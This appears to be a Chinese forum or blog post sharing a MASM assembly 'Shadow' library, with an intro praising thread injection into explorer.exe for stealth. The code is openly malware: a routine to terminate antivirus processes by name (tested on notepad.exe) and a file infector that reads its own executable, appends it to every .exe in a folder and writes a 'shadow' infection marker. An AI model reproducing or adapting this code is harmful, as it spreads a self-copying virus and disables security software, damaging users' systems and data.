以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。 感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵! 不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员. ;##########################################################; Shadow MASM Public Function Library;########################################################## ;########################################################## GetWindowsVer proto KillAntiVirus proto vBackupFile proto ReadVirusToMem proto :DWORD WriteVirusToExe proto :DWORD, :DWORD;########################################################## ;##########################################################; 判断 Windows 版本 测试通过;########################################################## GetWindowsVer proc LOCAL OSVI:OSVERSIONINFO mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO) invoke GetVersionEx,addr OSVI xor ebx,ebx .IF OSVI.dwPlatformId == VER_PLATFORM_WIN32_NT mov ebx,1 .ELSE xor ebx,ebx .ENDIF invoke MessageBox,NULL,CTEXT("This is system NT"),CTEXT("Test"),MB_OK ret GetWindowsVer endp ;##########################################################; 终止杀毒软件 测试通过;########################################################## KillAntiVirus proc LOCAL lppe:PROCESSENTRY32 LOCAL hProcessSnap:DWORD mov lppe.dwSize,SIZEOF PROCESSENTRY32 invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄 mov hProcessSnap,eax ;循环获取进程信息判断是否为杀毒软件 invoke Process32First,hProcessSnap,addr lppe .WHILE eax invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe") .IF eax==0 invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID invoke TerminateProcess,eax,-1 ;如果是杀毒软件 杀掉它 .ENDIF invoke Process32Next,hProcessSnap,addr lppe .ENDW invoke CloseHandle,hProcessSnap ret KillAntiVirus endp ;##########################################################; 备份病毒文件;########################################################## vBackupFile proc LOCAL hFindFile:DWORD LOCAL byPath[MAX_PATH]:BYTE ;保存搜索的路径[备份路径] LOCAL bySearchPath[MAX_PATH]:BYTE ;要搜索的路径及文件 LOCAL byFile[MAX_PATH]:BYTE ;找到的文件 LOCAL lpFileData:WIN32_FIND_DATA ;获取系统目录 invoke GetSystemDirectory,addr byPath,SIZEOF byPath invoke lstrcat,addr bySearchPath,CTEXT("\*.exe") invoke GetCurrentDirectory,sizeof byPath,addr byPath ;获得用于搜索的路径 invoke lstrcpy,addr bySearchPath,addr byPath invoke lstrcat,addr bySearchPath,CTEXT("\Test\*.exe") ;备份路径 invoke lstrcat,addr byPath,CTEXT("\Test\") ;查找文件 invoke FindFirstFile,addr bySearchPath,addr lpFileData .IF eax != INVALID_HANDLE_VALUE mov hFindFile,eax .WHILE eax invoke lstrcpy,addr byFile,addr byPath invoke lstrcat,addr byFile,addr lpFileData.cFileName invoke ReadVirusToMem,addr byFile invoke FindNextFile,hFindFile,addr lpFileData .ENDW invoke FindClose,hFindFile .ENDIF ;invoke MessageBox,NULL,CTEXT("Test Function vBackupFile OK!"),CTEXT("Test"),MB_OK ret vBackupFile endp ;##########################################################; 将病毒文件读入内存;########################################################## ReadVirusToMem Proc dwWriteFileName:DWORD LOCAL hMem:DWORD LOCAL byFile[MAX_PATH]:BYTE LOCAL hReadFile:DWORD, dwFileSize:DWORD, byOfRead:DWORD ;获取当前exe文件名并打开文件 invoke GetModuleFileName,hInstance,addr byFile,SIZEOF byFile invoke CreateFile,addr byFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL .IF eax != INVALID_HANDLE_VALUE mov hReadFile,eax .ELSE ret .ENDIF ;获取当前exe文件大小 分配内存 读取文件 invoke GetFileSize,hReadFile,NULL mov dwFileSize,eax test eax,eax je ExitFunction invoke GlobalAlloc,GPTR,dwFileSize test eax,eax je ExitFunction mov hMem,eax invoke ReadFile,hReadFile,hMem,dwFileSize,addr byOfRead,NULL invoke GlobalLock,hMem invoke WriteVirusToExe,dwWriteFileName,hMem ;invoke MessageBox,NULL,CTEXT("Test Function ReadVirusToMem OK!"),CTEXT("Test"),MB_OK ExitFunction: invoke GlobalUnlock,hMem invoke GlobalFree,hMem invoke CloseHandle,hReadFile ret ReadVirusToMem endp ;##########################################################; 将内存病毒写入文件并将已感染标志写入;########################################################## WriteVirusToExe proc dwOpenFileName:DWORD,dwWriteBuffer:DWORD LOCAL FileFlag[8]:BYTE LOCAL hFile:DWORD LOCAL byOfRead:DWORD LOCAL dwWriteSize:DWORD LOCAL byOfWrite:DWORD invoke RtlZeroMemory,addr FileFlag,sizeof FileFlag ;打开文件 invoke CreateFile,dwOpenFileName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL .IF eax != INVALID_HANDLE_VALUE mov hFile,eax .ELSE ret .ENDIF ;设置文件读取位置 读取文件6个字节 判断文件是否感染 invoke SetFilePointer,hFile,-6,NULL,FILE_END inc eax je ExitFunction dec eax invoke ReadFile,hFile,addr FileFlag,6,byOfRead,NULL invoke lstrcmp,addr FileFlag,CTEXT("shadow") test eax,eax je ExitFunction invoke SetFilePointer,hFile,0,NULL,FILE_END invoke GlobalSize,dwWriteBuffer mov dwWriteSize,eax invoke WriteFile,hFile,dwWriteBuffer,dwWriteSize,addr byOfWrite,NULL invoke SetFilePointer,hFile,0,NULL,FILE_END invoke WriteFile,hFile,CTEXT("shadow"),6,addr byOfWrite,NULL ExitFunction: invoke CloseHandle,hFile ret WriteVirusToExe endp

评论